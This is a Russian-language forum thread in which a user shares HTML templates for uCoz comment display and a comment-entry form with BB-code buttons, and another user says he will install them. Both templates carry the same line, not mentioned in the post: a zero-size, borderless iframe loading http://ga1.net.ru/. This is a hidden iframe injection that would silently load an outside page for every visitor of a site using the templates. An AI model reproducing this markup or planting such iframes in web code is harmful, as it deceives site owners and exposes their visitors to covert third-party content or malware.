13:50
Обновить
Вид комментов + Форма добовления комментов (новинка) - Форум
cszona-portal.net.ru
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Скрипты для uCoz » Форум » Вид комментов + Форма добовления комментов (новинка)
Вид комментов + Форма добовления комментов (новинка)

zver

Дата: Воскресенье, 30.05.2010, 16:57 | Сообщение # 1
Майор
Группа: Журналист
Сообщений: 107
« 59 »
Статус: Offline
Вид комментов + Форма добовления комментов (новинка)

CРИН: http://s60.radikal.ru/i168/0912/03/272ccf735422.jpg

Вид комментов

Code
<div style="border: 2px dashed rgb(109, 153, 255); padding: 3px;">       
<table cellpadding="0" cellspacing="0" width="100%" class="$CLASS$"><tr><td class="com_top" bgcolor="#5EA9FF" colspan="2" style="padding:3px;">       
<div class="cDate" style="float:right;font:7pt;"><span title="$TIME$">$DATE$</span> $MODER_PANEL$</div>       
<div class="cTop" style="text-align:left;"><span style="width:18px;">Сообщение <b>#$NUMBER$</b>.</span>       
<?if($ENTRY_URL$)?>[<a href="$ENTRY_URL$" target="_blank" title="Перейти на страницу материала">Материал</a>]<?endif?>       
</div></td></tr>       

<tr>       
<td style="border: 4px double rgb(53, 134, 255);  valign="top" align="center" width="120px">       
<a class="postuser$GROUP_ID$" href="javascript://" onClick="emoticon('[b]$NAME$[/b],');return false;">$NAME$</a><br><br>       
<?if($USER_AVATAR_URL$)?><a title="Посмотреть профиль пользователя - $USERNAME$" href="$PROFILE_URL$"><img class="userAvatar" alt"" border="0" src="$USER_AVATAR_URL$"></a><?else?><a title="Посмотреть профиль пользователя - $USERNAME$" href="$PROFILE_URL$"><img class="userAvatar" alt"" border="0" src="http://wmz-soft.ucoz.kz/noava3.png"></a><?endif?><br />       
<?if($SITE$)?><a rel="nofollow" href="$SITE$" target="_blank" title="Сайт пользователя"><img border="0" align="absmiddle" src="http://wmz-soft.ucoz.kz/bullet_home.png"></a><?endif?></td>       
<iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><?if($EMAIL$)?><a href="$EMAIL_JS$" title="Email"><img border="0" align="absmiddle" src="http://wmz-soft.ucoz.kz/fr/email.png"></a><?endif?>       

<td valign="top" style="border: 4px double rgb(53, 134, 255); padding-left: 3px;">       
<div style="border: 4px double rgb(140, 200, 255); class="Message" style="text-align: justify;">$MESSAGE$</div><br>       
<?if($ANSWER$)?><div style="border: 2px dashed rgb(0, 100, 255);" class="cAnswer" style="text-align:left;clear:both;"><b>Ответ</b>: $ANSWER$</div><?endif?>       
</td></tr></table></div><br />

Форма добовления комментов

Code
<STYLE type="text/css">

.lols {
background:#575757 none repeat scroll 0 0;
border:0 none;
color:#f7f7f7;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}
.lols:hover {
background:#918e8e none repeat scroll 0 0;
border:0 none;
color:#f7f7f7;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}

.disable {
background:#D82020 none repeat scroll 0 0;
border:0 none;
color:#FFFFFF;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}
.disable:hover {
background:#E33939 none repeat scroll 0 0;
border:0 none;
color:#F3F3F3;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}

.posts {
background:#1E90FF none repeat scroll 0 0;
border:0 none;
color:#FFFFFF;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}
.posts:hover {
background:#00BFFF none repeat scroll 0 0;
border:0 none;
color:#F3F3F3;
cursor:pointer;
font-family:verdana;
font-size:10px;
letter-spacing:0;
margin:0;
padding:5px;
text-align:center;
width:auto;
}</STYLE>

<span id="bbcodesx" style=""><script type='text/javascript' src='http://s7.ucoz.net/src/bbcodes.js'></script>
<table border="0" width="100%" cellspacing="1" cellpadding="2" class="commTable">
<tr><td class="commTd2" colspan="2">$ERROR$</td></tr>
<?if(!$USER_LOGGED_IN$)?>
<tr><td width="15%" class="commTd1" nowrap>Имя *:</td><td class="commTd2"><input class="commFl" type="text" name="name" value="$NAME$" size="30" maxlength="60"></td></tr>
<tr><td class="commTd1">Email:</td><td class="commTd2"><input class="commFl" type="text" name="email" value="$EMAIL$" size="30" maxlength="60"></td></tr>
<?endif?>

<tr><td class="commTd2" colspan="2">
<center>
<input onclick="openLayerB('html',0,'/index/35-23-0','Все смайлы',250,350,'','','',0,'justify'); return false;" class="posts" value="Смайлы" type="button">
<input title="Выделить" name="b" onclick="simpletag('b','','','message','');" style="width: 30px; margin-top: 1px; margin-bottom: 1px;" class="lols" value="b" type="button">
<input title="Наклонить" name="i" onclick="simpletag('i','','','message','');" style="width: 30px; margin-top: 1px; margin-bottom: 1px;" class="posts" value="i" type="button">
<input title="Подчеркнуть" name="u" onclick="simpletag('u','','','message','');" style="width: 30px; margin-top: 1px; margin-bottom: 1px;" class="lols" value="u" type="button">
<input title="Вставить картинку" name="image" onclick="tag_image();" style="width: 50px; margin-top: 2px; margin-bottom: 1px;" class="posts" value="img" type="button">
<input title="Вставить ссылку" name="link" onclick="tag_url();" style="width: 50px; margin-top: 2px; margin-bottom: 2px;" class="lols" value="Ссылка" type="button">
<input title="Code" name="code" onclick="simpletag('code]тут код[/code','','','message','');" style="width: 50px; margin-top: 1px; margin-bottom: 1px;" class="posts" value="Code" type="button">
<input title="Цитата" name="цитата" onclick="simpletag('quote]тут текст цитаты[/quote','','','message','');" style="width: 50px; margin-top: 1px; margin-bottom: 1px;" class="lols" value="Цитата" type="button">
<input title="Скрыть текст от гостей" name="hide" onclick="simpletag('hide','','','message','')" style="width: 50px; margin-top: 1px; margin-bottom: 1px;" class="posts" value="hide" type="button">
<input onclick="data=prompt('Введите ссылку','');document.addform.message.value+='[c][video]'+data+'[/video][/c]';" style="width: 45px; margin-top: 1px; margin-bottom: 1px;" class="lols" value="Video" type="button">
</span></center>

<table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><textarea class="commFl" style="height:135px;" rows="8" name="message" id="message" cols="50"></textarea></td>$MESSAGE$</tr></table></td></tr>
<iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><?if($SECURITY_CODE$)?><tr><td class="commTd1" nowrap>Код *:</td><td class="commTd2">$SECURITY_CODE$</td></tr><?endif?>
<tr><td class="commTd2" colspan="2" align="center"><input class="addComButton" style="border: 0px none ; padding: 5px; background: rgb(145, 142, 142) none repeat scroll 0% 0%; text-align: center; font-size: 10px; margin-top: 15px; margin-left: 2%; width: 48%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(219, 219, 219); cursor: pointer; letter-spacing: 1px;" onmouseover="this.style.background = '#737373'" onmouseout="this.style.background = '#696969'" value="отправить сообщение" type="submit"></td></tr></table>

Trol

Дата: Воскресенье, 30.05.2010, 18:58 | Сообщение # 2
Рядовой
Группа: Забаненный
Сообщений: 6
« 0 »
Статус: Offline
Спасибо за такой скрипт думаю наверно себе поставлю

Форум » Скрипты для uCoz » Форум » Вид комментов + Форма добовления комментов (новинка)
  • Страница 1 из 1
  • 1
Поиск:

Вверх